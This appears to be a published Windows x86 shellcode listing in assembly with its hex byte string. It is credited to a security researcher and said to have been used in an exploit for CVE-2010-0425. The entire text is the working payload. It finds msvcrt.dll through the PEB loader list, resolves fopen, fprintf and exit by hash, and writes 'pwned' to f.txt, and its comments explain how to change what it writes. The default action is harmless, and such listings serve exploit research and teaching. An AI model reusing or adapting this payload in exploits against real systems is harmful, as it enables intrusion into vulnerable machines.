| 
	  ; Write-to-file Shellcode ; ; This shellcode was used in the exploit for: CVE-2010-0425 ; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7 ; ; Size: 278 bytes ; //////////////////////////////////////////////////////////////////////////////// ; \x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b\x7e\x20 ; \x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94\x6c\x66\x39\x0f ; \x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05 ; \x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31 ; \xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28 ; \x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01 ; \xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4 ; \x0c\x01\x66\x81\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75 ; \xde\xc3\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b ; \xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31\xd2\x58 ; \x88\x50\x05\xeb\x2d\x31\xd2\x59\x88\x51\x01\xeb\x2c\x51\x50\xff\x55\x04\xeb\x2a ; \x31\xd2\x59\x88\x51\x05\xeb\x2d\x51\x50\x89\xc6\xff\x55\x08\x53\xff\x55\x0c\xe8 ; \xd1\xff\xff\xff\x66\x2e\x74\x78\x74\x4e\xe8\xce\xff\xff\xff\x77\x4e\xe8\xcf\xff ; \xff\xff\xe8\xd1\xff\xff\xff\x70\x77\x6e\x65\x64\x4e\xe8\xce\xff\xff\xff ; //////////////////////////////////////////////////////////////////////////////// ; ; Origin: http://www.senseofsecurity.com.au ; Written by Brett Gervasoni (brettg [at] senseofsecurity.com.au) ; ; By default the shellcode will write "pwned" to a text file titled "f.txt" in  ; the current working directory.  ; ; Editable parameters: ; Line 228: Filename ;           Be sure to update the length on line 185 ; Line 232: Access mode ;           Be sure to update the length on line 193 ; Line 239: Data (text to be written) ;           Be sure to update the length on line 208 
[SECTION .text] global _start 
_start:  ; if it matters what is on the stack, then allocate space - otherwise, who cares we are exiting anyway?  ; save bytes by not including it...  ;sub esp, 0x0c ; allocate space on the stack for funct addresses   ; ======================= Find the base address of msvcrt.dll =======================  ; By checking if a entry in the InInitializationOrder list has a null byte in position  ; 20 we can find the base addr of msvcrt.dll on Windows 7 and Vista.   ; "msvcrt.dll" is equal to 10 bytes, so in unicode, its 20 bytes long.   ; kernel32.dll can be found in a similar fashion. "kernel32.dll" is 12 bytes long though.   ; on WinXP the InInitializationOrder list is as follows: ntdll.dll, kernel32.dll, msvcrt.dll  ; On Windows Server 2003, msvcrt.dll is in position 5 and before this dll is checked, RPCRT4.dll  ; is checked. Which matches the length of msvcrt.dll, as a result the base address of RPCRT4.dll  ; is used. Obviously this is no good. To solve this problem i made the shellcode check for the   ; presents of 'm' in position 0 as well .   xor eax, eax           ; make sure it is 0  xor ecx, ecx           ; ECX = 0     mov esi, [fs:ecx+0x30] ; ESI = &(PEB) ([FS:0x30])     mov esi, [esi+0x0c]    ; ESI = PEB->Ldr     mov esi, [esi+0x1c]    ; ESI = PEB->Ldr.InInitOrder NextModule:  mov edx, [esi+0x08]    ; EDX = InInitOrder[X].base_address     mov edi, [esi+0x20]    ; EDX = InInitOrder[X].module_name (unicode)     mov esi, [esi]         ; ESI = InInitOrder[X].flink (next module)     cmp [edi+10*2], cx     ; modulename[12] == 0 ?     jne NextModule         ; No: try next module.    ; extra check to find msvcrt.dll  mov cx, 0x6d01         ; m = 0x6d  sub cx, 0x6c94                            ; result is 0x6d (m)  cmp [edi], cx          ; modulename[0] == m ?  mov cx, ax  jne NextModule 
 ; base address of msvcrt.dll is now in edx  ; update ebp  mov ebp, esp 
 jmp short GetHashesSpring ; using a spring to avoid null bytes 
; ======================= FUNCTIONS ======================= ; Export Directory Table method find_function:     pushad     mov ebp, [esp + 0x24]     mov eax, [ebp + 0x3c]     mov edx, [ebp + eax + 0x78]     add edx, ebp     mov ecx, [edx + 0x18]     mov ebx, [edx + 0x20]     add ebx, ebp find_function_loop:     jecxz find_function_finished     dec ecx     mov esi, [ebx + ecx * 4]     add esi, ebp compute_hash:     xor edi, edi     xor eax, eax     cld compute_hash_again:     lodsb     test al, al     jz compute_hash_finished     ror edi, 0xd     add edi, eax     jmp short compute_hash_again compute_hash_finished: find_function_compare:     cmp edi, [esp + 0x28]     jnz find_function_loop     mov ebx, [edx + 0x24]     add ebx, ebp     mov cx, [ebx + 2 * ecx]     mov ebx, [edx + 0x1c]     add ebx, ebp     mov eax, [ebx + 4 * ecx]     add eax, ebp     mov [esp + 0x1c], eax find_function_finished:     popad     ret 
ResolveSymbolsForDLL:     lodsd     push eax                    ; push hashes for find_function     push edx     call find_function     mov [edi], eax              ; save found function address     ;add sp, 0x08  add sp, 0x10c ; + 268  sub sp, 0x104 ; - 260 = 8     ;add di, 0x04               ; increment edi by 4 (due to function address being saved)  add di, 0x108 ; + 264  sub di, 0x104 ; - 260 = 4     cmp esi, ecx                ; check if esi meets length of hash list     jne ResolveSymbolsForDLL ResolveSymbolsForDLLComplete:     ret 
; ====================== / FUNCTIONS ====================== 
GetHashesSpring:  jmp short GetHashes ; using a spring to avoid null bytes 
HashesReturn:      pop esi     lea edi, [ebp + 0x04]     mov ecx, esi     add cl, 0x0c              ; length of function hash list 
    call ResolveSymbolsForDLL 
 jmp short GetFilename   GetHashes:     call HashesReturn       ; msvcrt.dll hash list     ; fopen hash = 0x6E7C2EE1     db 0x6E     db 0x7C     db 0x2E     db 0xE1 
    ; fprintf hash = 0x1E3C3FD7     db 0x1E     db 0x3C     db 0x3F     db 0xD7  ; since the message is small, no need to worry about closing the file  ; keep the shellcode smaller that way.    ; exit hash = 0x741E48CD  db 0x74  db 0x1E  db 0x48  db 0xCD 
GetFilenameReturn:   xor edx, edx ; zero out a reg for nulls 
 pop eax ; f.txt  mov [eax+5], dl ; insert a null byte, 'f.txt'    jmp short GetFileMode 
GetFileModeReturn:  xor edx, edx ; zero out a reg for nulls 
 pop ecx ; w  mov [ecx+1], dl ; insert a null byte, 'w' 
 jmp short GetfopenCall ; Now jump to fopen call   fopenCall:   push ecx ; 'w'  push eax ; push 'f.txt'  call [ebp+4]; call fopen    jmp short GetfprintfData 
GetfprintfDataReturn:  xor edx, edx ; zero out a reg for a null 
 pop ecx ; push data string  mov [ecx+5], dl ; insert a null byte    jmp short GetfprintfCall 
fprintfCall:   push ecx ; data  push eax ; handle    mov esi, eax ; we want to keep the handle for close    call [ebp+8] ; call fprintf 
; It needs to either exit, or call fclose to write the buffer to file.  ExitProcessCall:  push ebx ; ebx has 00004000 in it - who cares what we give exit? 
 call [ebp+0x0c] ; exit 
GetFilename:  call GetFilenameReturn  db 'f.txtN' ; filename 
GetFileMode:  call GetFileModeReturn  db 'wN' ; file access mode 
GetfopenCall:  call fopenCall 
GetfprintfData:  call GetfprintfDataReturn  db 'pwnedN' ; data to be written to file 
GetfprintfCall:  call fprintfCall  
	
  |